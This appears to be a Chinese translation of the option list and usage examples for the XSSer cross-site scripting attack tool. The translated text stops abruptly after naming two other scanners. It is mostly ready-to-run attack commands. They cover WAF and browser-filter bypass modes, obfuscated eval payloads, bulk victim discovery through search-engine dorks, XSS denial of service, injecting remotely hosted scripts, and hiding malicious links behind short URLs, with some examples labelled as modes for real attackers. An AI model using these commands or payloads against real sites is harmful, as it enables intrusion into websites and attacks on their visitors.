xsser [OPTIONS] [--all <url> |-u <url> |-i <file> |-d <dork> (options)|-l ] [-g <get> |-p <post> |- c <crawl> (OPTIONS)] [URL(s)] [Checker(s)] [Vector(s)] [Anti-anti-antiXSS/IDS] [Bypasser(s)] [Technique(s)] [Final Injection(s)] [Reporting] {Miscellaneous}
选项: --version 显示版本 -h, --help 显示帮助 -s, --statistics 显示高级统计输出结果 -v, --verbose 详细显示输出结果 --gtk 启动 XSSer GTK 接口 --wizard 启动向导助手
*特殊功能*: 设置 Vector(s) 和 Bypasser(s) 来为嵌入的 XSS 代码构建复杂的脚本。 XST 允许您发现目标是否容易受到 "跨站点跟踪" 的影响 [CAPEC-107] --imx=IMX 使用 XSS 创建图像 (--imx image.png) --fla=FLASH 使用 XSS 创建 Flash 电影 (--fla movie.swf) --xst=XST 跨站点跟踪 (--xst http(s)://host.com)
*选择目标*:( 这些参数至少指定一个 ) --all=TARGET 自动审计整个目标 -u URL, --url=URL 输入要审计的目标URL -i READFILE 从文件中读取目标URL -d DORK 使用查询搜索目标(例如:'news.php?id=') -l 从 "dorks" 列表中搜索 --De=DORK_ENGINE 使用这个搜索引擎(默认:DuckDuckGo) --Da 使用所有搜索引擎进行海量搜索
*选择 HTTP/HTTPS 连接类型*: ( 指定哪些参数用作有效负载。在要注入的位置上将 "XSS" 设置为关键字 ) -g GETDATA 使用 GET 发送有效负载(例如:'/menu.php?id=XSS') -p POSTDATA 使用 POST 发送有效负载(例如:'foo=1&bar=XSS') -c CRAWLING 在目标上抓取的 url 数量:1-99999 --Cw=CRAWLER_WIDTH 爬虫深度:1-5(默认:2) --Cl 仅抓取本地目标 URL(默认值:FALSE)
*配置请求*:( 指定如何连接到目标有效载荷。可以选择多个 ) --head 在开始测试之前发送 HEAD 请求 --cookie=COOKIE 更改您的 HTTP Cookie 标头 --drop-cookie 忽略响应中的 Set-Cookie 标头 --user-agent=AGENT 更改您的 HTTP User-Agent 标头(默认值:SPOOFED) --referer=REFERER 使用另一个 HTTP Referer 标头(默认值:NONE) --xforw 使用随机 IP 值设置 HTTP X-Forwarded-For --xclient 使用随机 IP 值设置您的 HTTP X-Client-IP --headers=HEADERS 额外的 HTTP 标头换行分隔 --auth-type=ATYPE HTTP 身份验证类型(基本、摘要、GSS 或 NTLM) --auth-cred=ACRED HTTP 身份验证凭据(名称:密码) --check-tor 检查 Tor 是否正确使用 --proxy=PROXY 使用代理服务器 (tor: http://localhost:8118) --ignore-proxy 忽略系统默认的HTTP代理 --timeout=TIMEOUT 选择你的超时时间(默认值:30) --retries=RETRIES 连接超时重试(默认值:1) --threads=THREADS 最大并发请求数(默认:5) --delay=DELAY 每个请求之间的延迟秒数(默认值:0) --tcp-nodelay 使用 TCP_NODELAY 选项 --follow-redirects 跟随服务器重定向(默认值:FALSE) --follow-limit=FLI 设置重定向请求的限制(默认值:50)
*Checker(s)*:( 检查目标是否使用过滤器来抵御 XSS 攻击 ) --hash 发送一个哈希来检查目标是否重复内容 --heuristic 使用启发式过滤来发现参数 --discode=DISCODE 在回复时设置代码以丢弃注入 --checkaturl=ALT 检查回复使用:<alternative url> [aka BLIND-XSS] --checkmethod=ALTM 检查回复使用:GET 或 POST(默认:GET) --checkatdata=ALD 检查回复使用:<alternative payload> --reverse-check 建立从目标到 XSSer 的反向连接
*Vector(s)*: 指定注入代码。 --payload=SCRIPT 注入你自己的代码 --auto 注入 XSSer 提供的
*选择 payload*: 设置 XSSer 提供的向量列表。 仅在需要时选择 --auto-set=FZZ_NUM 要注入的向量限制(默认值:1293) --auto-info 仅选择带有 INFO 的向量(默认值:FALSE) --auto-random 设置随机排序(默认值:FALSE)
*反 antiXSS 防火墙规则*: 这些选项可用于尝试绕过特定的 WAF/IDS 产品和一些反 XSS 浏览器过滤器。 仅在需要时选择: --Phpids0.6.5 PHPIDS (0.6.5) [全部] --Phpids0.7 PHPIDS (0.7) [全部] --Imperva Imperva Incapsula [全部] --Webknight WebKnight (4.1) [Chrome] --F5bigip F5 大IP [Chrome + FF + Opera] --Barracuda Barracuda WAF [全部] --Modsec Mod-Security [全部] --QuickDefense 快速防御 [Chrome] --Sucuri SucuriWAF [全部] --Firefox Firefox 12 [及以下] --Chrome Chrome 19 和 Firefox 12 [及以下] --Opera Opera 10.5 [及以下] --Iexplorer IExplorer 9 & Firefox 12 [及以下]
*选择 Bypasser(旁路器)*: 用于对向量进行编码并尝试绕过可能的反 XSS 过滤器。 它们可以与其他技术结合使用 --Str 使用方法 String.FromCharCode() --Une 使用 Unescape() 函数 --Mix 混合 String.FromCharCode() 和 Unescape() --Dec 使用十进制编码 --Hex 使用十六进制编码 --Hes 使用带分号的十六进制编码 --Dwo 使用 DWORD 编码 IP 地址 --Doo 使用八进制编码 IP 地址 --Cem=CEM 设置不同的 "字符编码突变"(反转混淆器)(例如:'Mix,Une,Str,Hex')
*特殊技术*: 这些选项可用于使用不同的 XSS 技术和模糊向量注入代码。可以选择多个 --Coo 跨站脚本 Cookie 注入 --Xsa 跨站点代理脚本 --Xsr 跨站引用脚本 --Dcp 数据控制协议注入 --Dom 文档对象模型注入 --Ind HTTP 响应拆分诱导代码
*选择最终注射*: 这些选项可用于指定要在易受攻击的目标上注入的最终代码。 如果您\想 "疯狂地" 利用发现的漏洞,这一点很重要。 只选择一个选项 --Fp=FINALPAYLOAD 利用你自己的代码 --Fr=FINALREMOTE 利用脚本 -remotely-
*特殊最终注射*: 这些选项可用于在易受攻击的目标上执行一些“特殊”注入。 您可以选择多个并将它们与您的最终代码组合(DCP 漏洞利用除外) --Anchor 使用 "Anchor Stealth" 有效载荷(DOM 阴影!) --B64 META 标签中的 Base64 代码编码 (rfc2397) --Onm 使用 onMouseMove() 事件 --Ifr 使用 <iframe> 源标签 --Dos XSS(客户端)拒绝服务 --Doss XSS(服务器)拒绝服务
*报告*: --save 导出到文件 (XSSreport.raw) --xml=FILEXML 导出为 XML (--xml file.xml)
*各种各样的*: --silent 禁止控制台输出结果 --alive=ISALIVE 在检查目标是否处于活动状态之前设置错误限制 --update 检查最新的稳定版本
示例:
也可以图形化:xsser --gtk
XSS 跨站攻击 - (3) xsser:https://www.jianshu.com/p/3665f86730f7
使用示例:
用法举例: ============================== 从URL进行简单XSS注入: xsser -u "http://host.com"
------------------- 从一个文件中读取URL并且进行简单的注入,同时设定代理参数和HTTP Header参数: xsser -i "file.txt" --proxy "http://127.0.0.1:8118" --referer "666.666.666.666"
------------------- 从URL进行多重注入, 使用自动化负荷,和代理, 注入负荷使用116进制编码 "Hex", 产生冗长的输出,并且将结果保存到一个文件 (XSSlist.dat): xsser -u "http://host.com" --proxy "http://127.0.0.1:8118" --auto --Hex --verbose -w
------------------- URL进行多重注入, 使用自动化负荷和特殊的文字编码( 第一, 改变负荷为16进制; 第二, 改变第一次的编码为字节码到字符串; 第三, 把第二次的编码重新进行16进制编码), 使用代理欺骗, 改变时间延迟为 "20" and 使用多线程 (5 个线程): xsser -u "http://host.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer!!" --timeout "20" --threads "5"
------------------- 从文件读取进行高级注入, 负荷采用 -own- payload 参数,并且使用Unescape() 函数进行字符编码绕过检测: xsser -i "urls.txt" --payload 'a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);' --Une
------------------- 傻瓜式的选择 "duck" 引擎进行注入 (XSSer 蠕虫!): xsser --De "duck" -d "search.php?"
------------------- 注入爬行深度为3 ,页面数目(宽度)为4 来进行检测(XSSer 蜘蛛!): xsser -c3 --Cw=4 -u "http://host.com"
------------------- 从URL简单注入, 使用POST方式, 并且统计结果: xsser -u "http://host.com" -p "index.php?target=search&subtarget=top&searchstring=" -s
------------------- 从URL进行多重注入,发送参数类型为GET, 使用自动负荷, 使用八进制的IP地址进行混淆并且输出结果到一个 "tinyurl" 短网址 (为分享者准备!): xsser -u "http://host.com" -g "bs/?q=" --auto --Doo --short tinyurl
------------------- 从URL进行简单注入, 使用 GET 参数, 用Cookies参数注入一个向量, 尝试使用一个 DOM 幽灵空间 (服务器无日志记录!) 如果存在任何 "漏洞", 则手工植入 "恶意" 代码 (为真正的攻击者准备!): xsser -u "http://host.com" -g "bs/?q=" --Coo --Anchor --Fr="!enter your final injection code here!"
------------------- 从URL进行简单注入, 使用 GET 参数, 尝试产生一个带 "恶意代码" 短网址 (is.gd) 使用一个有效的DOS来攻击客户端: xsser -u "http://host.com" -g "bs/?q=" --Dos --short "is.gd"
------------------- 多点多重注入, 从一个目标中提取目标, 运行自动负荷,改变时间延时为 "20" , 并且使用多线程(5 个线程), 增加延时到10 s, 注入参数到HTTP 的USer-Agent, HTTP 参数 和 Cookies参数, 使用Tor代理, IP进行八进制混淆, 进行结果统计, 冗长 模式创建短网址 (tinyurl) 来发现任何有效的攻击负荷 (真正的攻击模式!): xsser -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://127.0.0.1:8118" --Doo -s --verbose --Dos --short "tinyurl"
------------------- 注入用户的XSS攻击向量在 "在空白处"创建带恶意代码的虚假图片, 并且准备被上传. xsser --Imx "test.png" --payload "!在这儿输入你的恶意代码!"
------------------- 报告输出'positives' 注入到 dorking搜索 (使用 "ask" dorker) ,直接写入到一个 XML 文件. xsser -d "login.php" --De "ask" --xml "security_report_XSSer_Dork_cuil.xml"
------------------- 在 dorking 搜索中输出正确的结果 (使用 "duck" 标示) 可以直接查看http://identi.ca (XSS 渗透测试 Vs 僵尸网络联盟) xsser -d "login.php" --De "duck" --publish
* 在线例子: -http://identi.ca/xsserbot01 -http://twitter.com/xsserbot01
------------------- * 使用XSS代码注入创建一个 .swf 文件 xsser --imx "name_of_file"
------------------- 如果目标产生错误的结果,则每次发送一个检测hash。 xsser -u "host.com" --check
------------------- 从URL进行多重Fuzz注入, 包含 DCP 注入 利用自己的代码, 用短网址进行欺骗, 发现有用的结果. XSS实时利用. xsser -u "host.com" --auto --Dcp --Fp "enter_your_code_here" --short "is.gd"
------------------- Base64 编码中间的标记(rfc2397) 从而对一个可攻击目标进行手工利用. xsser -u "host.com" -g "vulnerable_path" --payload "valid_vector_injected" --B64
------------------- 利用自己的 "own" -远程代码-直接在浏览器中进行加载和Fuzz测试。 xsser -u "host.com" -g "vulnerable_path" --auto --Fr "my_host/path/code.js" --launch
强大的XSS扫描工具:XSpear
:https://zhuanlan.zhihu.com/p/101510369
XSStrike
只能运行在